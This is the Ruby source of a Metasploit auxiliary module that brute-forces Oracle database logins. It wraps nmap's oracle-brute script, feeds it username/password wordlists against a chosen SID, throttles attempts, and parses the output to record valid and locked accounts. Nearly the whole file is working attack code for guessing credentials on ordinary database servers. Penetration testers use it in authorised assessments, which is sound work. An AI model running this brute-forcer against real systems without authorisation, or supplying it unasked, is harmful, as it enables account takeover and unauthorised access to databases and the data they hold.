## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Nmap include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Scanner # Creates an instance of this module. def initialize(info = {}) super(update_info(info, 'Name' => 'Oracle RDBMS Login Utility', 'Description' => %q{ This module attempts to authenticate against an Oracle RDBMS instance using username and password combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. Due to a bug in nmap versions 6.50-7.80 may not work. }, 'Author' => [ 'Patrik Karlsson ', # the nmap NSE script, oracle-brute.nse 'todb' # this Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://www.oracle.com/database/' ], [ 'CVE', '1999-0502'], # Weak password CVE [ 'URL', 'https://nmap.org/nsedoc/scripts/oracle-brute.html'] ] )) register_options( [ OptPath.new('USERPASS_FILE', [ false, "File containing (space-separated) users and passwords, one pair per line", File.join(Msf::Config.data_directory, "wordlists", "oracle_default_userpass.txt") ]), OptString.new('SID', [ true, 'The instance (SID) to authenticate against', 'XE']) ]) end def minimum_nmap_version "5.50" end def run unless nmap_version_at_least? minimum_nmap_version print_error "Installed Nmap version is not at least #{minimum_nmap_version}. Exiting..." return false end print_status "Nmap: Setting up credential file..." credfile = create_credfile cred_count = 0 each_user_pass(true) {|user, pass| credfile[0].puts "%s/%s" % [user,pass]; cred_count += 1 } credfile[0].flush nmap_build_args(credfile[1]) print_status "Nmap: Starting Oracle bruteforce with #{cred_count} credentials against SID '#{sid}'..." nmap_run credfile[0].unlink if Rex::Parser.nokogiri_loaded nmap_hosts {|type,data| process_nokogiri_callback(type,data)} else nmap_hosts {|host| process_host(host)} end end def sid datastore['SID'].to_s end def nmap_build_args(credpath) nmap_reset_args nmap_append_arg "-P0" nmap_append_arg "--script oracle-brute" script_args = [ "tns.sid=#{sid}", "brute.mode=creds", "brute.credfile=#{credpath}", "brute.threads=1" ] script_args << "brute.delay=#{set_brute_delay}" nmap_append_arg "--script-args \"#{script_args.join(",")}\"" nmap_append_arg "-n" nmap_append_arg "-v" if datastore['VERBOSE'] end # Sometimes with weak little 10g XE databases, you will exhaust # available processes from the pool with lots and lots of # auth attempts, so use bruteforce_speed to slow things down def set_brute_delay case datastore["BRUTEFORCE_SPEED"] when 4; 0.25 when 3; 0.5 when 2; 1 when 1; 15 when 0; 60 * 5 else; 0 end end def create_credfile outfile = Rex::Quickfile.new("msf3-ora-creds-") if Rex::Compat.is_cygwin and self.nmap_bin =~ /cygdrive/i outfile_path = Rex::Compat.cygwin_to_win32(outfile.path) else outfile_path = outfile.path end @credfile = [outfile,outfile_path] end def process_nokogiri_callback(type,data) return unless type == :port_script return unless data["id"] == "oracle-brute" return unless data[:addresses].has_key? "ipv4" return unless data[:port]["state"] == ::Msf::ServiceState::Open addr = data[:addresses]["ipv4"].to_s port = data[:port]["portid"].to_i output = data["output"] parse_script_output(addr,port,output) end def process_host(h) h["ports"].each do |p| next if(h["scripts"].nil? || h["scripts"].empty?) h["scripts"].each do |id,output| next unless id == "oracle-brute" parse_script_output(h["addr"],p["portid"],output) end end end def extract_creds(str) m = str.match(/\s+([^\s]+):([^\s]+) =>/) m[1,2] end def report_cred(opts) service_data = { address: opts[:ip], port: opts[:port], service_name: opts[:service_name], protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:user], private_data: opts[:password], private_type: :password }.merge(service_data) login_data = { core: create_credential(credential_data), status: opts[:status], proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) end def parse_script_output(addr,port,output) msg = "#{addr}:#{port} - Oracle -" @oracle_reported = false if output =~ /TNS: The listener could not resolve \x22/n print_error "#{msg} Invalid SID: #{sid}" elsif output =~ /Accounts[\s]+No valid accounts found/nm print_status "#{msg} No valid accounts found" else output.each_line do |oline| if oline =~ /Login correct/ if not @oracle_reported report_service(:host => addr, :port => port, :proto => "tcp", :name => "oracle") report_note(:host => addr, :port => port, :proto => "tcp", :type => "oracle.sid", :data => sid, :update => :unique_data) @oracle_reported = true end user,pass = extract_creds(oline) pass = "" if pass == "" print_good "#{msg} Success: #{user}:#{pass} (SID: #{sid})" report_cred( ip: addr, port: port, user: "#{sid}/#{user}", password: pass, service_name: 'tcp', status: Metasploit::Model::Login::Status::SUCCESSFUL ) elsif oline =~ /Account locked/ if not @oracle_reported report_service(:host => addr, :port => port, :proto => "tcp", :name => "oracle") report_note(:host => addr, :port => port, :proto => "tcp", :type => "oracle.sid", :data => sid, :update => :unique_data) @oracle_reported = true end user = extract_creds(oline)[0] print_good "#{msg} Locked: #{user} (SID: #{sid}) -- account valid but locked" report_cred( ip: addr, port: port, user: "#{sid}/#{user}", service_name: 'tcp', status: Metasploit::Model::Login::Status::DENIED_ACCESS ) elsif oline =~ /^\s+ERROR: (.*)/ print_error "#{msg} NSE script error: #{$1}" end end end end end